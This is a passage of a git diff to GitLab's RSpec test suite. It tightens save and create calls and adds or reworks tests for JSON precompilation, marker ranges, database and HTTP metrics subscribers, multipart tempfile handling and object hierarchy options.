+ expect(Gitlab::Json).not_to receive(:dump)
+
+ subject
+ end
+ end
+ end
+
+ describe Gitlab::Json::PrecompiledJson do
+ subject(:precompiled) { described_class.new(obj) }
+
+ describe "#to_s" do
+ subject { precompiled.to_s }
+
+ context "obj is a string" do
+ let(:obj) { "{}" }
+
+ it "returns a string" do
+ expect(subject).to eq("{}")
+ end
+ end
+
+ context "obj is an array" do
+ let(:obj) { ["{\"foo\": \"bar\"}", "{}"] }
+
+ it "returns a string" do
+ expect(subject).to eq("[{\"foo\": \"bar\"},{}]")
+ end
+ end
+
+ context "obj is an array of un-stringables" do
+ let(:obj) { [BasicObject.new] }
+
+ it "raises an error" do
+ expect { subject }.to raise_error(NoMethodError)
+ end
+ end
+
+ context "obj is something else" do
+ let(:obj) { {} }
+
+ it "raises an error" do
+ expect { subject }.to raise_error(described_class::UnsupportedFormatError)
+ end
+ end
+ end
end
describe Gitlab::Json::LimitedEncoder do
diff --git a/spec/lib/gitlab/legacy_github_import/importer_spec.rb b/spec/lib/gitlab/legacy_github_import/importer_spec.rb
index 56074147854..9a4d7bd996e 100644
--- a/spec/lib/gitlab/legacy_github_import/importer_spec.rb
+++ b/spec/lib/gitlab/legacy_github_import/importer_spec.rb
@@ -290,7 +290,7 @@ RSpec.describe Gitlab::LegacyGithubImport::Importer do
subject { described_class.new(project) }
before do
- project.update(import_type: 'gitea', import_url: "#{repo_root}/foo/group/project.git")
+ project.update!(import_type: 'gitea', import_url: "#{repo_root}/foo/group/project.git")
end
it_behaves_like 'Gitlab::LegacyGithubImport::Importer#execute' do
diff --git a/spec/lib/gitlab/legacy_github_import/issue_formatter_spec.rb b/spec/lib/gitlab/legacy_github_import/issue_formatter_spec.rb
index 4b1e0d2c144..454bab8846c 100644
--- a/spec/lib/gitlab/legacy_github_import/issue_formatter_spec.rb
+++ b/spec/lib/gitlab/legacy_github_import/issue_formatter_spec.rb
@@ -152,7 +152,7 @@ RSpec.describe Gitlab::LegacyGithubImport::IssueFormatter do
context 'when importing a Gitea project' do
before do
- project.update(import_type: 'gitea')
+ project.update!(import_type: 'gitea')
end
it_behaves_like 'Gitlab::LegacyGithubImport::IssueFormatter#attributes'
diff --git a/spec/lib/gitlab/legacy_github_import/milestone_formatter_spec.rb b/spec/lib/gitlab/legacy_github_import/milestone_formatter_spec.rb
index 148b59dedab..64fcc46d304 100644
--- a/spec/lib/gitlab/legacy_github_import/milestone_formatter_spec.rb
+++ b/spec/lib/gitlab/legacy_github_import/milestone_formatter_spec.rb
@@ -92,7 +92,7 @@ RSpec.describe Gitlab::LegacyGithubImport::MilestoneFormatter do
let(:iid_attr) { :id }
before do
- project.update(import_type: 'gitea')
+ project.update!(import_type: 'gitea')
end
it_behaves_like 'Gitlab::LegacyGithubImport::MilestoneFormatter#attributes'
diff --git a/spec/lib/gitlab/legacy_github_import/pull_request_formatter_spec.rb b/spec/lib/gitlab/legacy_github_import/pull_request_formatter_spec.rb
index 3e6b9340d0b..7d8875e36c3 100644
--- a/spec/lib/gitlab/legacy_github_import/pull_request_formatter_spec.rb
+++ b/spec/lib/gitlab/legacy_github_import/pull_request_formatter_spec.rb
@@ -260,7 +260,7 @@ RSpec.describe Gitlab::LegacyGithubImport::PullRequestFormatter do
context 'when importing a Gitea project' do
before do
- project.update(import_type: 'gitea')
+ project.update!(import_type: 'gitea')
end
it_behaves_like 'Gitlab::LegacyGithubImport::PullRequestFormatter#attributes'
diff --git a/spec/lib/gitlab/markdown_cache/active_record/extension_spec.rb b/spec/lib/gitlab/markdown_cache/active_record/extension_spec.rb
index be562d916d3..23dbd4a5bb3 100644
--- a/spec/lib/gitlab/markdown_cache/active_record/extension_spec.rb
+++ b/spec/lib/gitlab/markdown_cache/active_record/extension_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe Gitlab::MarkdownCache::ActiveRecord::Extension do
end
let(:cache_version) { Gitlab::MarkdownCache::CACHE_COMMONMARK_VERSION << 16 }
- let(:thing) { klass.create(title: markdown, title_html: html, cached_markdown_version: cache_version) }
+ let(:thing) { klass.create!(title: markdown, title_html: html, cached_markdown_version: cache_version) }
let(:markdown) { '`Foo`' }
let(:html) { '<p data-sourcepos="1:1-1:5" dir="auto"><code>Foo</code></p>' }
@@ -28,7 +28,7 @@ RSpec.describe Gitlab::MarkdownCache::ActiveRecord::Extension do
before do
thing.title = thing.title
- thing.save
+ thing.save!
end
it { expect(thing.title).to eq(markdown) }
@@ -38,11 +38,11 @@ RSpec.describe Gitlab::MarkdownCache::ActiveRecord::Extension do
end
context 'a changed markdown field' do
- let(:thing) { klass.create(title: markdown, title_html: html, cached_markdown_version: cache_version) }
+ let(:thing) { klass.create!(title: markdown, title_html: html, cached_markdown_version: cache_version) }
before do
thing.title = updated_markdown
- thing.save
+ thing.save!
end
it { expect(thing.title_html).to eq(updated_html) }
@@ -53,9 +53,9 @@ RSpec.describe Gitlab::MarkdownCache::ActiveRecord::Extension do
it do
expect(thing).to receive(:refresh_markdown_cache).once
thing.title = ''
- thing.save
+ thing.save!
thing.title = ''
- thing.save
+ thing.save!
end
end
@@ -63,9 +63,9 @@ RSpec.describe Gitlab::MarkdownCache::ActiveRecord::Extension do
it do
expect(thing).to receive(:refresh_markdown_cache).once
thing.title = '[//]: # (This is also a comment.)'
- thing.save
+ thing.save!
thing.title = '[//]: # (This is also a comment.)'
- thing.save
+ thing.save!
end
end
@@ -74,7 +74,7 @@ RSpec.describe Gitlab::MarkdownCache::ActiveRecord::Extension do
before do
thing.state_id = 2
- thing.save
+ thing.save!
end
it { expect(thing.state_id).to eq(2) }
@@ -87,7 +87,7 @@ RSpec.describe Gitlab::MarkdownCache::ActiveRecord::Extension do
let(:thing) { klass.new(title: updated_markdown, title_html: html, cached_markdown_version: nil) }
before do
- thing.save
+ thing.save!
end
it { expect(thing.title_html).to eq(updated_html) }
@@ -99,7 +99,7 @@ RSpec.describe Gitlab::MarkdownCache::ActiveRecord::Extension do
thing.project = :new_project
allow(Banzai::Renderer).to receive(:cacheless_render_field).and_return(updated_html)
- thing.save
+ thing.save!
expect(thing.title_html).to eq(updated_html)
expect(thing.description_html).to eq(updated_html)
@@ -110,7 +110,7 @@ RSpec.describe Gitlab::MarkdownCache::ActiveRecord::Extension do
thing.author = :new_author
allow(Banzai::Renderer).to receive(:cacheless_render_field).and_return(updated_html)
- thing.save
+ thing.save!
expect(thing.title_html).to eq(updated_html)
expect(thing.description_html).to eq(updated_html)
@@ -125,7 +125,7 @@ RSpec.describe Gitlab::MarkdownCache::ActiveRecord::Extension do
end
describe '#cached_html_up_to_date?' do
- let(:thing) { klass.create(title: updated_markdown, title_html: html, cached_markdown_version: nil) }
+ let(:thing) { klass.create!(title: updated_markdown, title_html: html, cached_markdown_version: nil) }
subject { thing.cached_html_up_to_date?(:title) }
diff --git a/spec/lib/gitlab/markdown_cache/redis/extension_spec.rb b/spec/lib/gitlab/markdown_cache/redis/extension_spec.rb
index 3dcb9f160ba..b5d458f15fc 100644
--- a/spec/lib/gitlab/markdown_cache/redis/extension_spec.rb
+++ b/spec/lib/gitlab/markdown_cache/redis/extension_spec.rb
@@ -7,7 +7,8 @@ RSpec.describe Gitlab::MarkdownCache::Redis::Extension, :clean_gitlab_redis_cach
include CacheMarkdownField
def initialize(title: nil, description: nil)
- @title, @description = title, description
+ @title = title
+ @description = description
end
attr_reader :title, :description
diff --git a/spec/lib/gitlab/markdown_cache/redis/store_spec.rb b/spec/lib/gitlab/markdown_cache/redis/store_spec.rb
index bf40af8e62e..07a87b245c2 100644
--- a/spec/lib/gitlab/markdown_cache/redis/store_spec.rb
+++ b/spec/lib/gitlab/markdown_cache/redis/store_spec.rb
@@ -40,7 +40,7 @@ RSpec.describe Gitlab::MarkdownCache::Redis::Store, :clean_gitlab_redis_cache do
describe '.bulk_read' do
before do
- store.save(field_1_html: "hello", field_2_html: "world", cached_markdown_version: 1)
+ store.save(field_1_html: "hello", field_2_html: "world", cached_markdown_version: 1) # rubocop:disable Rails/SaveBang
end
it 'returns a hash of values from store' do
@@ -59,7 +59,7 @@ RSpec.describe Gitlab::MarkdownCache::Redis::Store, :clean_gitlab_redis_cache do
it 'stores updates to html fields and version' do
values_to_store = { field_1_html: "hello", field_2_html: "world", cached_markdown_version: 1 }
- store.save(values_to_store)
+ store.save(values_to_store) # rubocop:disable Rails/SaveBang
expect(read_values)
.to eq(field_1_html: "hello", field_2_html: "world", cached_markdown_version: "1")
diff --git a/spec/lib/gitlab/marker_range_spec.rb b/spec/lib/gitlab/marker_range_spec.rb
index 5f73d2a5048..c4670ec58a8 100644
--- a/spec/lib/gitlab/marker_range_spec.rb
+++ b/spec/lib/gitlab/marker_range_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe Gitlab::MarkerRange do
let(:last) { 10 }
let(:mode) { nil }
- it { is_expected.to eq(first..last) }
+ it { expect(marker_range.to_range).to eq(first..last) }
it 'behaves like a Range' do
is_expected.to be_kind_of(Range)
@@ -51,14 +51,14 @@ RSpec.describe Gitlab::MarkerRange do
end
it 'keeps correct range' do
- is_expected.to eq(range)
+ is_expected.to eq(described_class.new(1, 3))
end
context 'when range excludes end' do
let(:range) { 1...3 }
it 'keeps correct range' do
- is_expected.to eq(range)
+ is_expected.to eq(described_class.new(1, 3, exclude_end: true))
end
end
@@ -68,4 +68,31 @@ RSpec.describe Gitlab::MarkerRange do
it { is_expected.to be(marker_range) }
end
end
+
+ describe '#==' do
+ subject { default_marker_range == another_marker_range }
+
+ let(:default_marker_range) { described_class.new(0, 1, mode: :addition) }
+ let(:another_marker_range) { default_marker_range }
+
+ it { is_expected.to be_truthy }
+
+ context 'when marker ranges have different modes' do
+ let(:another_marker_range) { described_class.new(0, 1, mode: :deletion) }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when marker ranges have different ranges' do
+ let(:another_marker_range) { described_class.new(0, 2, mode: :addition) }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when marker ranges is a simple range' do
+ let(:another_marker_range) { (0..1) }
+
+ it { is_expected.to be_falsey }
+ end
+ end
end
diff --git a/spec/lib/gitlab/metrics/background_transaction_spec.rb b/spec/lib/gitlab/metrics/background_transaction_spec.rb
index b31a2f7549a..d36ee24fc50 100644
--- a/spec/lib/gitlab/metrics/background_transaction_spec.rb
+++ b/spec/lib/gitlab/metrics/background_transaction_spec.rb
@@ -29,19 +29,62 @@ RSpec.describe Gitlab::Metrics::BackgroundTransaction do
end
describe '#labels' do
- it 'provides labels with endpoint_id and feature_category' do
- Labkit::Context.with_context(feature_category: 'projects', caller_id: 'TestWorker') do
- expect(transaction.labels).to eq({ endpoint_id: 'TestWorker', feature_category: 'projects' })
+ context 'when the worker queue is accessible' do
+ before do
+ test_worker_class = Class.new do
+ def self.queue
+ 'test_worker'
+ end
+ end
+ stub_const('TestWorker', test_worker_class)
+ end
+
+ it 'provides labels with endpoint_id, feature_category and queue' do
+ Gitlab::ApplicationContext.with_raw_context(feature_category: 'projects', caller_id: 'TestWorker') do
+ expect(transaction.labels).to eq({ endpoint_id: 'TestWorker', feature_category: 'projects', queue: 'test_worker' })
+ end
+ end
+ end
+
+ context 'when the worker name does not exist' do
+ it 'provides labels with endpoint_id and feature_category' do
+ # 123TestWorker is an invalid constant
+ Gitlab::ApplicationContext.with_raw_context(feature_category: 'projects', caller_id: '123TestWorker') do
+ expect(transaction.labels).to eq({ endpoint_id: '123TestWorker', feature_category: 'projects', queue: nil })
+ end
+ end
+ end
+
+ context 'when the worker queue is not accessible' do
+ before do
+ stub_const('TestWorker', Class.new)
+ end
+
+ it 'provides labels with endpoint_id and feature_category' do
+ Gitlab::ApplicationContext.with_raw_context(feature_category: 'projects', caller_id: 'TestWorker') do
+ expect(transaction.labels).to eq({ endpoint_id: 'TestWorker', feature_category: 'projects', queue: nil })
+ end
end
end
end
RSpec.shared_examples 'metric with labels' do |metric_method|
+ before do
+ test_worker_class = Class.new do
+ def self.queue
+ 'test_worker'
+ end
+ end
+ stub_const('TestWorker', test_worker_class)
+ end
+
it 'measures with correct labels and value' do
value = 1
- expect(prometheus_metric).to receive(metric_method).with({ endpoint_id: 'TestWorker', feature_category: 'projects' }, value)
+ expect(prometheus_metric).to receive(metric_method).with({
+ endpoint_id: 'TestWorker', feature_category: 'projects', queue: 'test_worker'
+ }, value)
- Labkit::Context.with_context(feature_category: 'projects', caller_id: 'TestWorker') do
+ Gitlab::ApplicationContext.with_raw_context(feature_category: 'projects', caller_id: 'TestWorker') do
transaction.send(metric_method, :test_metric, value)
end
end
diff --git a/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb b/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
index dffd37eeb9d..6bfcfa21289 100644
--- a/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
+++ b/spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
@@ -8,65 +8,146 @@ RSpec.describe Gitlab::Metrics::Subscribers::ActiveRecord do
let(:env) { {} }
let(:subscriber) { described_class.new }
let(:connection) { double(:connection) }
- let(:payload) { { sql: 'SELECT * FROM users WHERE id = 10', connection: connection } }
-
- let(:event) do
- double(
- :event,
- name: 'sql.active_record',
- duration: 2,
- payload: payload
- )
- end
- # Emulate Marginalia pre-pending comments
- def sql(query, comments: true)
- if comments && !%w[BEGIN COMMIT].include?(query)
- "/*application:web,controller:badges,action:pipeline,correlation_id:01EYN39K9VMJC56Z7808N7RSRH*/ #{query}"
- else
- query
+ describe '#transaction' do
+ let(:web_transaction) { double('Gitlab::Metrics::WebTransaction') }
+ let(:background_transaction) { double('Gitlab::Metrics::WebTransaction') }
+
+ let(:event) do
+ double(
+ :event,
+ name: 'transaction.active_record',
+ duration: 230,
+ payload: { connection: connection }
+ )
end
- end
- shared_examples 'track generic sql events' do
- where(:name, :sql_query, :record_query, :record_write_query, :record_cached_query) do
- 'SQL' | 'SELECT * FROM users WHERE id = 10' | true | false | false
- 'SQL' | 'WITH active_milestones AS (SELECT COUNT(*), state FROM milestones GROUP BY state) SELECT * FROM active_milestones' | true | false | false
- 'SQL' | 'SELECT * FROM users WHERE id = 10 FOR UPDATE' | true | true | false
- 'SQL' | 'WITH archived_rows AS (SELECT * FROM users WHERE archived = true) INSERT INTO products_log SELECT * FROM archived_rows' | true | true | false
- 'SQL' | 'DELETE FROM users where id = 10' | true | true | false
- 'SQL' | 'INSERT INTO project_ci_cd_settings (project_id) SELECT id FROM projects' | true | true | false
- 'SQL' | 'UPDATE users SET admin = true WHERE id = 10' | true | true | false
- 'CACHE' | 'SELECT * FROM users WHERE id = 10' | true | false | true
- 'SCHEMA' | "SELECT attr.attname FROM pg_attribute attr INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = any(cons.conkey) WHERE cons.contype = 'p' AND cons.conrelid = '\"projects\"'::regclass" | false | false | false
- nil | 'BEGIN' | false | false | false
- nil | 'COMMIT' | false | false | false
+ before do
+ allow(background_transaction).to receive(:observe)
+ allow(web_transaction).to receive(:observe)
end
- with_them do
- let(:payload) { { name: name, sql: sql(sql_query, comments: comments), connection: connection } }
+ context 'when both web and background transaction are available' do
+ before do
+ allow(::Gitlab::Metrics::WebTransaction).to receive(:current)
+ .and_return(web_transaction)
+ allow(::Gitlab::Metrics::BackgroundTransaction).to receive(:current)
+ .and_return(background_transaction)
+ end
+
+ it 'captures the metrics for web only' do
+ expect(web_transaction).to receive(:observe).with(:gitlab_database_transaction_seconds, 0.23)
- it 'marks the current thread as using the database' do
- # since it would already have been toggled by other specs
- Thread.current[:uses_db_connection] = nil
+ expect(background_transaction).not_to receive(:observe)
+ expect(background_transaction).not_to receive(:increment)
- expect { subscriber.sql(event) }.to change { Thread.current[:uses_db_connection] }.from(nil).to(true)
+ subscriber.transaction(event)
end
+ end
+
+ context 'when web transaction is available' do
+ let(:web_transaction) { double('Gitlab::Metrics::WebTransaction') }
+
+ before do
+ allow(::Gitlab::Metrics::WebTransaction).to receive(:current)
+ .and_return(web_transaction)
+ allow(::Gitlab::Metrics::BackgroundTransaction).to receive(:current)
+ .and_return(nil)
+ end
+
+ it 'captures the metrics for web only' do
+ expect(web_transaction).to receive(:observe).with(:gitlab_database_transaction_seconds, 0.23)
- it_behaves_like 'record ActiveRecord metrics'
- it_behaves_like 'store ActiveRecord info in RequestStore'
+ expect(background_transaction).not_to receive(:observe)
+ expect(background_transaction).not_to receive(:increment)
+
+ subscriber.transaction(event)
+ end
end
- end
- context 'without Marginalia comments' do
- let(:comments) { false }
+ context 'when background transaction is available' do
+ let(:background_transaction) { double('Gitlab::Metrics::BackgroundTransaction') }
+
+ before do
+ allow(::Gitlab::Metrics::WebTransaction).to receive(:current)
+ .and_return(nil)
+ allow(::Gitlab::Metrics::BackgroundTransaction).to receive(:current)
+ .and_return(background_transaction)
+ end
- it_behaves_like 'track generic sql events'
+ it 'captures the metrics for web only' do
+ expect(background_transaction).to receive(:observe).with(:gitlab_database_transaction_seconds, 0.23)
+
+ expect(web_transaction).not_to receive(:observe)
+ expect(web_transaction).not_to receive(:increment)
+
+ subscriber.transaction(event)
+ end
+ end
end
- context 'with Marginalia comments' do
- let(:comments) { true }
+ describe '#sql' do
+ let(:payload) { { sql: 'SELECT * FROM users WHERE id = 10', connection: connection } }
- it_behaves_like 'track generic sql events'
+ let(:event) do
+ double(
+ :event,
+ name: 'sql.active_record',
+ duration: 2,
+ payload: payload
+ )
+ end
+
+ # Emulate Marginalia pre-pending comments
+ def sql(query, comments: true)
+ if comments && !%w[BEGIN COMMIT].include?(query)
+ "/*application:web,controller:badges,action:pipeline,correlation_id:01EYN39K9VMJC56Z7808N7RSRH*/ #{query}"
+ else
+ query
+ end
+ end
+
+ shared_examples 'track generic sql events' do
+ where(:name, :sql_query, :record_query, :record_write_query, :record_cached_query) do
+ 'SQL' | 'SELECT * FROM users WHERE id = 10' | true | false | false
+ 'SQL' | 'WITH active_milestones AS (SELECT COUNT(*), state FROM milestones GROUP BY state) SELECT * FROM active_milestones' | true | false | false
+ 'SQL' | 'SELECT * FROM users WHERE id = 10 FOR UPDATE' | true | true | false
+ 'SQL' | 'WITH archived_rows AS (SELECT * FROM users WHERE archived = true) INSERT INTO products_log SELECT * FROM archived_rows' | true | true | false
+ 'SQL' | 'DELETE FROM users where id = 10' | true | true | false
+ 'SQL' | 'INSERT INTO project_ci_cd_settings (project_id) SELECT id FROM projects' | true | true | false
+ 'SQL' | 'UPDATE users SET admin = true WHERE id = 10' | true | true | false
+ 'CACHE' | 'SELECT * FROM users WHERE id = 10' | true | false | true
+ 'SCHEMA' | "SELECT attr.attname FROM pg_attribute attr INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = any(cons.conkey) WHERE cons.contype = 'p' AND cons.conrelid = '\"projects\"'::regclass" | false | false | false
+ nil | 'BEGIN' | false | false | false
+ nil | 'COMMIT' | false | false | false
+ end
+
+ with_them do
+ let(:payload) { { name: name, sql: sql(sql_query, comments: comments), connection: connection } }
+ let(:record_wal_query) { false }
+
+ it 'marks the current thread as using the database' do
+ # since it would already have been toggled by other specs
+ Thread.current[:uses_db_connection] = nil
+
+ expect { subscriber.sql(event) }.to change { Thread.current[:uses_db_connection] }.from(nil).to(true)
+ end
+
+ it_behaves_like 'record ActiveRecord metrics'
+ it_behaves_like 'store ActiveRecord info in RequestStore'
+ end
+ end
+
+ context 'without Marginalia comments' do
+ let(:comments) { false }
+
+ it_behaves_like 'track generic sql events'
+ end
+
+ context 'with Marginalia comments' do
+ let(:comments) { true }
+
+ it_behaves_like 'track generic sql events'
+ end
end
end
diff --git a/spec/lib/gitlab/metrics/subscribers/external_http_spec.rb b/spec/lib/gitlab/metrics/subscribers/external_http_spec.rb
index 5bcaf8fbc47..adbc05cb711 100644
--- a/spec/lib/gitlab/metrics/subscribers/external_http_spec.rb
+++ b/spec/lib/gitlab/metrics/subscribers/external_http_spec.rb
@@ -6,29 +6,45 @@ RSpec.describe Gitlab::Metrics::Subscribers::ExternalHttp, :request_store do
let(:transaction) { Gitlab::Metrics::Transaction.new }
let(:subscriber) { described_class.new }
+ around do |example|
+ freeze_time { example.run }
+ end
+
let(:event_1) do
- double(:event, payload: {
- method: 'POST', code: "200", duration: 0.321,
- scheme: 'https', host: 'gitlab.com', port: 80, path: '/api/v4/projects',
- query: 'current=true'
- })
+ double(
+ :event,
+ payload: {
+ method: 'POST', code: "200", duration: 0.321,
+ scheme: 'https', host: 'gitlab.com', port: 80, path: '/api/v4/projects',
+ query: 'current=true'
+ },
+ time: Time.current
+ )
end
let(:event_2) do
- double(:event, payload: {
- method: 'GET', code: "301", duration: 0.12,
- scheme: 'http', host: 'gitlab.com', port: 80, path: '/api/v4/projects/2',
- query: 'current=true'
- })
+ double(
+ :event,
+ payload: {
+ method: 'GET', code: "301", duration: 0.12,
+ scheme: 'http', host: 'gitlab.com', port: 80, path: '/api/v4/projects/2',
+ query: 'current=true'
+ },
+ time: Time.current
+ )
end
let(:event_3) do
- double(:event, payload: {
- method: 'POST', duration: 5.3,
- scheme: 'http', host: 'gitlab.com', port: 80, path: '/api/v4/projects/2/issues',
- query: 'current=true',
- exception_object: Net::ReadTimeout.new
- })
+ double(
+ :event,
+ payload: {
+ method: 'POST', duration: 5.3,
+ scheme: 'http', host: 'gitlab.com', port: 80, path: '/api/v4/projects/2/issues',
+ query: 'current=true',
+ exception_object: Net::ReadTimeout.new
+ },
+ time: Time.current
+ )
end
describe '.detail_store' do
@@ -134,19 +150,22 @@ RSpec.describe Gitlab::Metrics::Subscribers::ExternalHttp, :request_store do
subscriber.request(event_3)
expect(Gitlab::SafeRequestStore[:external_http_detail_store].length).to eq(3)
- expect(Gitlab::SafeRequestStore[:external_http_detail_store][0]).to include(
+ expect(Gitlab::SafeRequestStore[:external_http_detail_store][0]).to match a_hash_including(
+ start: be_like_time(Time.current),
method: 'POST', code: "200", duration: 0.321,
scheme: 'https', host: 'gitlab.com', port: 80, path: '/api/v4/projects',
query: 'current=true', exception_object: nil,
backtrace: be_a(Array)
)
- expect(Gitlab::SafeRequestStore[:external_http_detail_store][1]).to include(
+ expect(Gitlab::SafeRequestStore[:external_http_detail_store][1]).to match a_hash_including(
+ start: be_like_time(Time.current),
method: 'GET', code: "301", duration: 0.12,
scheme: 'http', host: 'gitlab.com', port: 80, path: '/api/v4/projects/2',
query: 'current=true', exception_object: nil,
backtrace: be_a(Array)
)
- expect(Gitlab::SafeRequestStore[:external_http_detail_store][2]).to include(
+ expect(Gitlab::SafeRequestStore[:external_http_detail_store][2]).to match a_hash_including(
+ start: be_like_time(Time.current),
method: 'POST', duration: 5.3,
scheme: 'http', host: 'gitlab.com', port: 80, path: '/api/v4/projects/2/issues',
query: 'current=true',
diff --git a/spec/lib/gitlab/middleware/rack_multipart_tempfile_factory_spec.rb b/spec/lib/gitlab/middleware/rack_multipart_tempfile_factory_spec.rb
new file mode 100644
index 00000000000..b9d00b556c5
--- /dev/null
+++ b/spec/lib/gitlab/middleware/rack_multipart_tempfile_factory_spec.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rack'
+
+RSpec.describe Gitlab::Middleware::RackMultipartTempfileFactory do
+ let(:app) do
+ lambda do |env|
+ params = Rack::Request.new(env).params
+
+ if params['file']
+ [200, { 'Content-Type' => params['file'][:type] }, [params['file'][:tempfile].read]]
+ else
+ [204, {}, []]
+ end
+ end
+ end
+
+ let(:file_contents) { '/9j/4AAQSkZJRgABAQAAAQABAAD//gA+Q1JFQVRPUjogZ2QtanBlZyB2MS4wICh1c2luZyBJSkcg' }
+
+ let(:multipart_fixture) do
+ boundary = 'AaB03x'
+ data = <<~DATA
+ --#{boundary}\r
+ Content-Disposition: form-data; name="file"; filename="dj.jpg"\r
+ Content-Type: image/jpeg\r
+ Content-Transfer-Encoding: base64\r
+ \r
+ #{file_contents}\r
+ --#{boundary}--\r
+ DATA
+
+ {
+ 'CONTENT_TYPE' => "multipart/form-data; boundary=#{boundary}",
+ 'CONTENT_LENGTH' => data.bytesize.to_s,
+ input: StringIO.new(data)
+ }
+ end
+
+ subject { described_class.new(app) }
+
+ context 'for a multipart request' do
+ let(:env) { Rack::MockRequest.env_for('/', multipart_fixture) }
+
+ context 'when the environment variable is enabled' do
+ before do
+ stub_env('GITLAB_TEMPFILE_IMMEDIATE_UNLINK', '1')
+ end
+
+ it 'immediately unlinks the temporary file' do
+ tempfile = Tempfile.new('foo')
+
+ expect(tempfile.path).not_to be(nil)
+ expect(Rack::Multipart::Parser::TEMPFILE_FACTORY).to receive(:call).and_return(tempfile)
+ expect(tempfile).to receive(:unlink).and_call_original
+
+ subject.call(env)
+
+ expect(tempfile.path).to be(nil)
+ end
+
+ it 'processes the request as normal' do
+ expect(subject.call(env)).to eq([200, { 'Content-Type' => 'image/jpeg' }, [file_contents]])
+ end
+ end
+
+ context 'when the environment variable is disabled' do
+ it 'does not immediately unlink the temporary file' do
+ tempfile = Tempfile.new('foo')
+
+ expect(tempfile.path).not_to be(nil)
+ expect(Rack::Multipart::Parser::TEMPFILE_FACTORY).to receive(:call).and_return(tempfile)
+ expect(tempfile).not_to receive(:unlink).and_call_original
+
+ subject.call(env)
+
+ expect(tempfile.path).not_to be(nil)
+ end
+
+ it 'processes the request as normal' do
+ expect(subject.call(env)).to eq([200, { 'Content-Type' => 'image/jpeg' }, [file_contents]])
+ end
+ end
+ end
+
+ context 'for a regular request' do
+ let(:env) { Rack::MockRequest.env_for('/', params: { 'foo' => 'bar' }) }
+
+ it 'does nothing' do
+ expect(Rack::Multipart::Parser::TEMPFILE_FACTORY).not_to receive(:call)
+ expect(subject.call(env)).to eq([204, {}, []])
+ end
+ end
+end
diff --git a/spec/lib/gitlab/object_hierarchy_spec.rb b/spec/lib/gitlab/object_hierarchy_spec.rb
index 08e1a5ee0a3..eebd67695e0 100644
--- a/spec/lib/gitlab/object_hierarchy_spec.rb
+++ b/spec/lib/gitlab/object_hierarchy_spec.rb
@@ -3,14 +3,16 @@
require 'spec_helper'
RSpec.describe Gitlab::ObjectHierarchy do
- let!(:parent) { create(:group) }
- let!(:child1) { create(:group, parent: parent) }
- let!(:child2) { create(:group, parent: child1) }
+ let_it_be(:parent) { create(:group) }
+ let_it_be(:child1) { create(:group, parent: parent) }
+ let_it_be(:child2) { create(:group, parent: child1) }
+
+ let(:options) { {} }
shared_context 'Gitlab::ObjectHierarchy test cases' do
describe '#base_and_ancestors' do
let(:relation) do
- described_class.new(Group.where(id: child2.id)).base_and_ancestors
+ described_class.new(Group.where(id: child2.id), options: options).base_and_ancestors
end
it 'includes the base rows' do
@@ -22,13 +24,13 @@ RSpec.describe Gitlab::ObjectHierarchy do
end
it 'can find ancestors upto a certain level' do
- relation = described_class.new(Group.where(id: child2)).base_and_ancestors(upto: child1)
+ relation = described_class.new(Group.where(id: child2), options: options).base_and_ancestors(upto: child1)
expect(relation).to contain_exactly(child2)
end
it 'uses ancestors_base #initialize argument' do
- relation = described_class.new(Group.where(id: child2.id), Group.none).base_and_ancestors
+ relation = described_class.new(Group.where(id: child2.id), Group.none, options: options).base_and_ancestors
expect(relation).to include(parent, child1, child2)
end
@@ -40,7 +42,7 @@ RSpec.describe Gitlab::ObjectHierarchy do
describe 'hierarchy_order option' do
let(:relation) do
- described_class.new(Group.where(id: child2.id)).base_and_ancestors(hierarchy_order: hierarchy_order)
+ described_class.new(Group.where(id: child2.id), options: options).base_and_ancestors(hierarchy_order: hierarchy_order)
end
context ':asc' do
@@ -63,7 +65,7 @@ RSpec.describe Gitlab::ObjectHierarchy do
describe '#base_and_descendants' do
let(:relation) do
- described_class.new(Group.where(id: parent.id)).base_and_descendants
+ described_class.new(Group.where(id: parent.id), options: options).base_and_descendants
end
it 'includes the base rows' do
@@ -75,7 +77,7 @@ RSpec.describe Gitlab::ObjectHierarchy do
end
it 'uses descendants_base #initialize argument' do
- relation = described_class.new(Group.none, Group.where(id: parent.id)).base_and_descendants
+ relation = described_class.new(Group.none, Group.where(id: parent.id), options: options).base_and_descendants
expect(relation).to include(parent, child1, child2)
end
@@ -87,7 +89,7 @@ RSpec.describe Gitlab::ObjectHierarchy do
context 'when with_depth is true' do
let(:relation) do
- described_class.new(Group.where(id: parent.id)).base_and_descendants(with_depth: true)
+ described_class.new(Group.where(id: parent.id), options: options).base_and_descendants(with_depth: true)
end
it 'includes depth in the results' do
@@ -106,14 +108,14 @@ RSpec.describe Gitlab::ObjectHierarchy do
describe '#descendants' do
it 'includes only the descendants' do
- relation = described_class.new(Group.where(id: parent)).descendants
+ relation = described_class.new(Group.where(id: parent), options: options).descendants
expect(relation).to contain_exactly(child1, child2)
end
end
describe '#max_descendants_depth' do
- subject { described_class.new(base_relation).max_descendants_depth }
+ subject { described_class.new(base_relation, options: options).max_descendants_depth }
context 'when base relation is empty' do
let(:base_relation) { Group.where(id: nil) }
@@ -136,13 +138,13 @@ RSpec.describe Gitlab::ObjectHierarchy do
describe '#ancestors' do
it 'includes only the ancestors' do
- relation = described_class.new(Group.where(id: child2)).ancestors
+ relation = described_class.new(Group.where(id: child2), options: options).ancestors
expect(relation).to contain_exactly(child1, parent)
end
it 'can find ancestors upto a certain level' do
- relation = described_class.new(Group.where(id: child2)).ancestors(upto: child1)
+ relation = described_class.new(Group.where(id: child2), options: options).ancestors(upto: child1)
expect(relation).to be_empty
end
@@ -150,7 +152,7 @@ RSpec.describe Gitlab::ObjectHierarchy do
describe '#all_objects' do
let(:relation) do
- described_class.new(Group.where(id: child1.id)).all_objects
+ described_class.new(Group.where(id: child1.id), options: options).all_objects
end
it 'includes the base rows' do
@@ -166,13 +168,13 @@ RSpec.describe Gitlab::ObjectHierarchy do
end
